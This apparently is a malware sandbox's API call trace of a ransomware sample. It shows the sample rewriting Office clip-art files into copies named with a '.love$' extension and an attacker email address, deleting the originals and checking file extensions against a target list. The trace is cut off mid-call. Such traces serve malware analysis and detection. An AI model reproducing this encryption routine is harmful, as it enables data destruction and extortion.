[0122.293] lstrlenW (lpString="BD07804_.WMF") returned 12 [0122.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.293] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4924) returned 1 [0122.293] CloseHandle (hObject=0x374) returned 1 [0122.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0122.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.294] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.294] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.294] GetLastError () returned 0x0 [0122.294] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x133c, lpOverlapped=0x0) returned 1 [0122.296] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1340, lpOverlapped=0x0) returned 1 [0122.299] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.299] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.299] SetEndOfFile (hFile=0x394) returned 1 [0122.299] CloseHandle (hObject=0x394) returned 1 [0122.306] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.306] SetEndOfFile (hFile=0x374) returned 1 [0122.307] CloseHandle (hObject=0x374) returned 1 [0122.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.308] lstrlenW (lpString=".doc") returned 4 [0122.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString=".docx") returned 5 [0122.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.308] lstrlenW (lpString=".pdf") returned 4 [0122.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString=".xls") returned 4 [0122.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.308] lstrlenW (lpString=".xlsx") returned 5 [0122.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.308] lstrlenW (lpString=".ppt") returned 4 [0122.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.308] lstrlenW (lpString=".zip") returned 4 [0122.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.308] lstrlenW (lpString=".rar") returned 4 [0122.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString=".bz2") returned 4 [0122.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString=".7z") returned 3 [0122.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.308] lstrlenW (lpString=".dbf") returned 4 [0122.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.308] lstrlenW (lpString=".1cd") returned 4 [0122.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".jpg") returned 4 [0122.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".doc") returned 4 [0122.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString=".docx") returned 5 [0122.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.309] lstrlenW (lpString=".pdf") returned 4 [0122.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString=".xls") returned 4 [0122.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.309] lstrlenW (lpString=".xlsx") returned 5 [0122.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.309] lstrlenW (lpString=".ppt") returned 4 [0122.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".zip") returned 4 [0122.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.309] lstrlenW (lpString=".rar") returned 4 [0122.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString=".bz2") returned 4 [0122.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString=".7z") returned 3 [0122.309] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".dbf") returned 4 [0122.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".1cd") returned 4 [0122.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 68 [0122.309] lstrlenW (lpString=".jpg") returned 4 [0122.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.310] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0122.310] lstrlenW (lpString="BD07831_.WMF") returned 12 [0122.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.310] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4066) returned 1 [0122.310] CloseHandle (hObject=0x374) returned 1 [0122.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0122.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0122.311] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.311] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0122.311] GetLastError () returned 0x0 [0122.311] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xfe2, lpOverlapped=0x0) returned 1 [0122.402] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xff0, lpOverlapped=0x0) returned 1 [0122.403] ReadFile (in: hFile=0x374, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.403] WriteFile (in: hFile=0x394, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.403] SetEndOfFile (hFile=0x394) returned 1 [0122.403] CloseHandle (hObject=0x394) returned 1 [0122.405] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.405] SetEndOfFile (hFile=0x374) returned 1 [0122.406] CloseHandle (hObject=0x374) returned 1 [0122.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0122.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.407] lstrlenW (lpString=".doc") returned 4 [0122.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.407] lstrlenW (lpString=".docx") returned 5 [0122.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.407] lstrlenW (lpString=".pdf") returned 4 [0122.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.407] lstrlenW (lpString=".xls") returned 4 [0122.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.407] lstrlenW (lpString=".xlsx") returned 5 [0122.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.407] lstrlenW (lpString=".ppt") returned 4 [0122.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.883] lstrlenW (lpString=".zip") returned 4 [0122.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.883] lstrlenW (lpString=".rar") returned 4 [0122.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString=".bz2") returned 4 [0122.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString=".7z") returned 3 [0122.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.884] lstrlenW (lpString=".dbf") returned 4 [0122.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.884] lstrlenW (lpString=".1cd") returned 4 [0122.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.884] lstrlenW (lpString=".jpg") returned 4 [0122.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.884] lstrlenW (lpString=".doc") returned 4 [0122.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString=".docx") returned 5 [0122.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0122.884] lstrlenW (lpString=".pdf") returned 4 [0122.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0122.884] lstrlenW (lpString=".xls") returned 4 [0122.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0122.884] lstrlenW (lpString=".xlsx") returned 5 [0122.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0122.884] lstrlenW (lpString=".ppt") returned 4 [0122.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0122.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.885] lstrlenW (lpString=".zip") returned 4 [0122.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0122.885] lstrlenW (lpString=".rar") returned 4 [0122.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0122.885] lstrlenW (lpString=".bz2") returned 4 [0122.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0122.885] lstrlenW (lpString=".7z") returned 3 [0122.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0122.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.885] lstrlenW (lpString=".dbf") returned 4 [0122.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0122.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.885] lstrlenW (lpString=".1cd") returned 4 [0122.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0122.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 68 [0122.885] lstrlenW (lpString=".jpg") returned 4 [0122.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0122.885] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0122.885] lstrlenW (lpString="BD10890_.GIF") returned 12 [0122.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.887] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=13515) returned 1 [0122.887] CloseHandle (hObject=0x380) returned 1 [0122.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0122.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0122.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.888] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.888] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0122.890] GetLastError () returned 0x0 [0122.890] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0122.895] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0122.896] ReadFile (in: hFile=0x380, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0122.896] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0122.897] SetEndOfFile (hFile=0x3a4) returned 1 [0122.904] CloseHandle (hObject=0x3a4) returned 1 [0122.906] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0122.906] SetEndOfFile (hFile=0x380) returned 1 [0122.908] CloseHandle (hObject=0x380) returned 1 [0122.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0122.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0122.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.909] lstrlenW (lpString=".doc") returned 4 [0122.909] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.909] lstrlenW (lpString=".docx") returned 5 [0122.909] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0122.909] lstrlenW (lpString=".pdf") returned 4 [0122.909] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.909] lstrlenW (lpString=".xls") returned 4 [0122.909] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.909] lstrlenW (lpString=".xlsx") returned 5 [0122.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0122.909] lstrlenW (lpString=".ppt") returned 4 [0122.909] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.909] lstrlenW (lpString=".zip") returned 4 [0122.909] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.909] lstrlenW (lpString=".rar") returned 4 [0122.909] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.910] lstrlenW (lpString=".bz2") returned 4 [0122.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.910] lstrlenW (lpString=".7z") returned 3 [0122.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.910] lstrlenW (lpString=".dbf") returned 4 [0122.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.910] lstrlenW (lpString=".1cd") returned 4 [0122.910] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.910] lstrlenW (lpString=".jpg") returned 4 [0122.910] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.910] lstrlenW (lpString=".doc") returned 4 [0122.910] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0122.910] lstrlenW (lpString=".docx") returned 5 [0122.910] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0122.910] lstrlenW (lpString=".pdf") returned 4 [0122.910] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0122.910] lstrlenW (lpString=".xls") returned 4 [0122.910] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0122.910] lstrlenW (lpString=".xlsx") returned 5 [0122.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0122.910] lstrlenW (lpString=".ppt") returned 4 [0122.910] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0122.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.911] lstrlenW (lpString=".zip") returned 4 [0122.911] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0122.911] lstrlenW (lpString=".rar") returned 4 [0122.911] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0122.911] lstrlenW (lpString=".bz2") returned 4 [0122.911] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0122.911] lstrlenW (lpString=".7z") returned 3 [0122.911] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0122.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.911] lstrlenW (lpString=".dbf") returned 4 [0122.911] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0122.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.911] lstrlenW (lpString=".1cd") returned 4 [0122.911] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0122.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0122.911] lstrlenW (lpString=".jpg") returned 4 [0122.911] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0122.911] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0122.911] lstrlenW (lpString="BD10972_.GIF") returned 12 [0122.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0122.912] GetFileSizeEx (in: hFile=0x380, 